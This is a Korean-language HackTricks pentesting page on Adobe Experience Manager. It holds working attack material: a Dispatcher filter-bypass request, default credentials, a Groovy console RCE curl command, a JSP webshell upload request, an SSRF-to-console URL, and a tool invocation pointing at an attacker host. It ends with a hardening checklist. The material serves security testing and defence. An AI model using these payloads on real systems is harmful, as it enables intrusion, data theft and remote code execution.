AEM (Adobe Experience Manager) Pentesting

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Adobe Experience Manager (AEM, Adobe Experience Cloud의 일부)는 Apache Sling/Felix (OSGi) 및 Java Content Repository (JCR) 위에서 실행되는 기업 CMS입니다. 공격자의 관점에서 AEM 인스턴스는 종종 위험한 개발 엔드포인트, 약한 Dispatcher 규칙, 기본 자격 증명 및 매 분기마다 패치되는 긴 CVE 목록을 노출합니다.

아래 체크리스트는 실제 참여에서 계속 나타나는 외부에서 접근 가능한 (unauth) 공격 표면에 중점을 둡니다 (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

기타 빠른 지표:

  • /etc.clientlibs/ 정적 경로 존재 (JS/CSS 반환).
  • /libs/granite/core/content/login.html “Adobe Experience Manager” 배너가 있는 로그인 페이지.
  • </script><!--/* CQ */--> HTML 하단의 주석.

2. 높은 가치의 인증되지 않은 엔드포인트

경로얻는 것비고
/.json, /.1.jsonDefaultGetServlet를 통한 JCR 노드종종 차단되지만, Dispatcher 우회 (아래 참조)가 작동함.
/bin/querybuilder.json?path=/QueryBuilder API페이지 트리, 내부 경로, 사용자 이름의 유출.
/system/console/status-*, /system/console/bundlesOSGi/Felix 콘솔기본적으로 403; 노출되고 자격 증명이 발견되면 ⇒ 번들 업로드 RCE.
/crx/packmgr/index.jsp패키지 관리자인증된 콘텐츠 패키지 → JSP 페이로드 업로드 허용.
/etc/groovyconsole/**AEM Groovy 콘솔노출되면 → 임의의 Groovy / Java 실행.
/libs/cq/AuditlogSearchServlet.json감사 로그정보 유출.
/libs/cq/ui/content/dumplibs.htmlClientLibs 덤프XSS 벡터.

Dispatcher 우회 트릭

대부분의 프로덕션 사이트는 Dispatcher (리버스 프록시) 뒤에 위치합니다. 그 필터 규칙은 허용된 정적 확장을 세미콜론 또는 인코딩된 새 줄 뒤에 추가하여 우회할 수 있습니다:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

단일 요청은 종종 이메일 주소가 포함된 사용자 프로필 노드를 공개합니다. P-T Partners는 이 취약점에 대한 좋은 지침을 발표했습니다. 【】


3. 일반적인 잘못된 구성 (2025년에도 여전히 존재)

  1. 익명 POST 서블릿POST /.json:operation=import를 사용하면 새로운 JCR 노드를 생성할 수 있습니다. Dispatcher에서 *.json POST를 차단하면 해결됩니다. 【】
  2. 모두가 읽을 수 있는 사용자 프로필 – 기본 ACL이 /home/users/**/profile/*에 대해 모든 사용자에게 jcr:read를 부여합니다.
  3. 기본 자격 증명admin:admin, author:author, replication:replication.
  4. WCMDebugFilter 활성화 ⇒ ?debug=layout을 통한 반사형 XSS (CVE-2016-7882, 여전히 레거시 6.4 설치에서 발견됨).
  5. 노출된 Groovy 콘솔 – Groovy 스크립트를 전송하여 원격 코드 실행:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. 최근 취약점 (서비스 팩 주기)

분기CVE영향 받는 버전영향
2024년 12월CVE-2024-437116.5.21 및 이전부적절한 입력 검증 → 임의 코드 실행 (저권한 인증 필요). 【】
2024년 12월CVE-2024-43724/266.5.21 및 이전Move Page Wizard에서 DOM / 저장된 XSS. 【】
2023년 12월CVE-2023-48452/68≤ 6.5.18조작된 URL을 통한 DOM 기반 XSS. 【】
2022년 12월CVE-2022-30683≤ 6.5.13암호 설계 결함 → 비밀 복호화 (저권한 자격 증명 필요). 【】

항상 고객의 서비스 팩에 맞는 APSB 게시판을 확인하고 최신 6.5.22 또는 Cloud Service 2024.11을 요청하세요.


5. 악용 스니펫

5.1 Dispatcher 우회 + JSP 업로드를 통한 RCE

익명 쓰기가 가능하다면:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

이제 /content/evil.jsp를 요청하세요 – JSP는 AEM 프로세스 사용자로 실행됩니다.

5.2 SSRF에서 RCE로 (역사적 < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem-hackeraem_ssrf2rce.py는 전체 체인을 자동화합니다. 【】


6. 도구

  • aem-hacker – 스위스 아미 Enumeration 스크립트, 디스패처 우회, SSRF 탐지, 기본 자격 증명 확인 등을 지원합니다.
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Content Brute-force – 숨겨진 구성 요소를 발견하기 위해 /_jcr_content.(json|html)를 재귀적으로 요청합니다.
  • osgi-infect – 자격 증명이 있는 경우 /system/console/bundles를 통해 악성 OSGi 번들을 업로드합니다.

7. 강화 체크리스트 (보고서 권장 사항용)

  1. 인스턴스를 최신 누적 서비스 팩(2025년 7월 기준: 6.5.22)으로 유지합니다.
  2. 기본 계정을 제거/회전하고 SSO/SAML을 시행합니다.
  3. 디스패처 필터를 강화합니다 – 익명 사용자에 대해 ;, 인코딩된 개행 및 *.json 또는 *.querybuilder.json을 거부합니다.
  4. IP 허용 목록으로 콘솔(/system/console, /crx/*, /etc/groovyconsole)을 비활성화하거나 보호합니다.
  5. Adobe에서 제공하는 익명 권한 강화 패키지를 적용합니다.

참고 문헌

  • Adobe 보안 게시판 APSB24-69 – “Adobe Experience Manager에 대한 보안 업데이트(2024년 12월)”.
  • 0ang3el – aem-hacker 도구 (GitHub).

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기